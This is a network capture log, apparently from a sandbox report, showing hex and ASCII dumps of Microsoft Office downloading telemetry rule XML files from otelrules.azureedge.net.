2024-11-21 18:59:29 UTC	16384	IN	Data Raw: 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 57 61 73 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6c 65 61 6e 75 70 4d 73 6f 50 65 72 73 6f 6e 61 5f 49 4d 73 6f 50 65 72 73 6f 6e Data Ascii: Paint_IMsoPersona_WasNull_Count"> <C> <S T="32" /> </C> </C> <C T="U32" I="20" O="false" N="Paint_IMsoPersona_Null_Count"> <C> <S T="33" /> </C> </C> <C T="U32" I="21" O="false" N="CleanupMsoPersona_IMsoPerson
2024-11-21 18:59:29 UTC	16384	IN	Data Raw: 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 30 30 22 20 54 3d 22 49 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 Data Ascii: <R> <V V="200" T="I64" /> </R> </O> </L> <R> <O T="LT"> <L> <S T="3" F="RetrievalMilliseconds" /> </L> <R> <V V="400"
2024-11-21 18:59:29 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 53 75 63 63 65 73 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 46 61 69 6c 65 64 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 Data Ascii: </S> <C T="U32" I="0" O="false" N="Ocom2IUCOfficeIntegrationFirstCallSuccessCount"> <C> <S T="9" /> </C> </C> <C T="U32" I="1" O="false" N="Ocom2IUCOfficeIntegrationFirstCallFailedCount"> <C> <S T="10" /> </C
2024-11-21 18:59:29 UTC	16384	IN	Data Raw: 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 54 65 6e 61 6e 74 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 55 73 65 72 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 66 61 6c 73 65 22 20 54 3d 22 42 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 Data Ascii: L> <S T="3" F="Tenant enabled" /> </L> <R> <O T="EQ"> <L> <S T="3" F="User enabled" /> </L> <R> <V V="false" T="B" /> </R>
2024-11-21 18:59:29 UTC	16384	IN	Data Raw: 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 34 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 Data Ascii: us" /> </L> <R> <V V="404" T="U32" /> </R> </O> </F> <F T="7"> <O T="AND"> <L> <O T="GE"> <L> <S T="2" F="HttpStatus" /> </L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.8	49842	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 18:59:31 UTC	192	OUT	GET /rules/rule120600v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 18:59:31 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 18:59:31 GMT Content-Type: text/xml Content-Length: 2980 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 884d2a23-a01e-00ab-5b8c-3a9106000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T185931Z-r1d97b99577ckpmjhC1TEBrzs00000000aw0000000006c92 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 18:59:31 UTC	2980	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 30 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 44 65 76 69 63 65 43 6f 6e 73 6f 6c 69 64 61 74 65 64 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120600" V="4" DC="SM" EN="Office.System.SystemHealthMetadataDeviceConsolidated" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC"

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.8	49840	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 18:59:31 UTC	192	OUT	GET /rules/rule224902v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 18:59:31 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 18:59:31 GMT Content-Type: text/xml Content-Length: 450 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:25 GMT ETag: "0x8DC582BD4C869AE" x-ms-request-id: 704ea499-801e-00ac-498c-3bfd65000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T185931Z-r1d97b99577kk29chC1TEBemmg0000000ax0000000002hbp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 18:59:31 UTC	450	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 62 72 35 71 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 61 33 36 61 39 37 30 64 2d 34 35 61 39 2d 34 65 30 64 2d 39 63 61 62 2d 32 61 32 33 35 63 63 39 64 37 63 36 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 47 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 4e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224902" V="2" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120100" /> <UTS T="2" Id="bbr5q" /> <SS T="3" G="{a36a970d-45a9-4e0d-9cab-2a235cc9d7c6}" /> </S> <C T="G" I="0" O="falseN

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.8	49841	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 18:59:31 UTC	193	OUT	GET /rules/rule120402v21s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 18:59:31 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 18:59:31 GMT Content-Type: text/xml Content-Length: 3788 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC2126A6" x-ms-request-id: 1c744767-001e-0082-6060-3b5880000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T185931Z-178bfbc474bnwsh4hC1NYC2ubs00000001vg00000000vzkd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 18:59:31 UTC	3788	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 34 30 32 22 20 56 3d 22 32 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 55 6e 67 72 61 63 65 66 75 6c 41 70 70 45 78 69 74 44 65 73 6b 74 6f 70 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 22 20 78 6d 6c 6e 73 3d 22 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120402" V="21" DC="SM" EN="Office.System.SystemHealthUngracefulAppExitDesktop" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalCensus" DL="A" DCa="PSP" xmlns=""

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.8	49844	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 18:59:31 UTC	192	OUT	GET /rules/rule120608v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 18:59:31 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 18:59:31 GMT Content-Type: text/xml Content-Length: 2160 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA3B95D81" x-ms-request-id: 8ba33068-a01e-0070-5caa-3b573b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T185931Z-r1d97b9957789nh9hC1TEBxha80000000aug00000000hkd4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 18:59:31 UTC	2160	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 37 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 33 22 20 52 3d 22 31 32 30 36 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 36 31 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 35 22 20 52 3d 22 31 32 30 36 31 34 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120608" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120609" /> <R T="2" R="120679" /> <R T="3" R="120610" /> <R T="4" R="120612" /> <R T="5" R="120614" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.8	49843	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 18:59:31 UTC	192	OUT	GET /rules/rule120100v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 18:59:31 UTC	492	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 18:59:31 GMT Content-Type: text/xml Content-Length: 1000 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB097AFC9" x-ms-request-id: e8aec935-001e-0046-54a1-3ada4b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T185931Z-178bfbc474bbcwv4hC1NYCypys00000001pg00000000qqq1 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 18:59:31 UTC	1000	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 31 30 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 74 61 72 74 75 70 22 20 2f 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 32 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 52 65 73 75 6d 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 49 20 54 3d 22 33 22 20 49 3d 22 33 30 73 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 35 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120100" V="3" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryStartup" /> <A T="2" E="TelemetryResume" /> <TI T="3" I="30s" /> <R T="4" R="120100" /> <TH T="5">

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.8	49846	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 18:59:33 UTC	192	OUT	GET /rules/rule120610v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 18:59:33 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 18:59:33 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:46 GMT ETag: "0x8DC582B9964B277" x-ms-request-id: 02a2c6fa-b01e-0001-107b-3b46e2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T185933Z-178bfbc474bscnbchC1NYCe7eg00000001wg000000013dsx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 18:59:33 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120610" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.8	49845	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 18:59:33 UTC	192	OUT	GET /rules/rule120609v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 18:59:34 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 18:59:33 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB56D3AFB" x-ms-request-id: f3d0c3d3-f01e-003c-676b-3b8cf0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T185933Z-178bfbc474bfw4gbhC1NYCunf400000001sg000000011nce x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 18:59:34 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 44 64 5d 5b 45 65 5d 5b 4c 6c 5d 5b 4c 6c 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120609" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120682" /> <SR T="2" R="^([Dd][Ee][Ll][Ll])"> <S T="1" F="0" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.8	49847	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 18:59:33 UTC	192	OUT	GET /rules/rule120611v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 18:59:34 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 18:59:33 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:56 GMT ETag: "0x8DC582B9F6F3512" x-ms-request-id: 7a9720a2-e01e-0020-0a18-3bde90000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T185933Z-r1d97b99577gg97qhC1TEBcrf40000000apg000000004e1h x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 18:59:34 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4c 6c 5d 5b 45 65 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 56 76 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120611" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <SR T="2" R="([Ll][Ee][Nn][Oo][Vv][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.8	49849	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 18:59:33 UTC	192	OUT	GET /rules/rule120613v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 18:59:34 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 18:59:34 GMT Content-Type: text/xml Content-Length: 632 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6E3779E" x-ms-request-id: d8f13441-a01e-0021-5e2d-3c814c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T185933Z-178bfbc474bvjk8shC1NYC83ns00000001tg000000003g0a x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 18:59:34 UTC	632	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 48 68 5d 5b 50 70 5d 28 5b 5e 45 5d 7c 24 29 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 33 22 20 52 3d 22 28 5b 48 68 5d 5b 45 65 5d 5b 57 77 5d 5b 4c 6c 5d 5b 45 65 5d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120613" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <SR T="2" R="^([Hh][Pp]([^E]\|$))"> <S T="1" F="1" M="Ignore" /> </SR> <SR T="3" 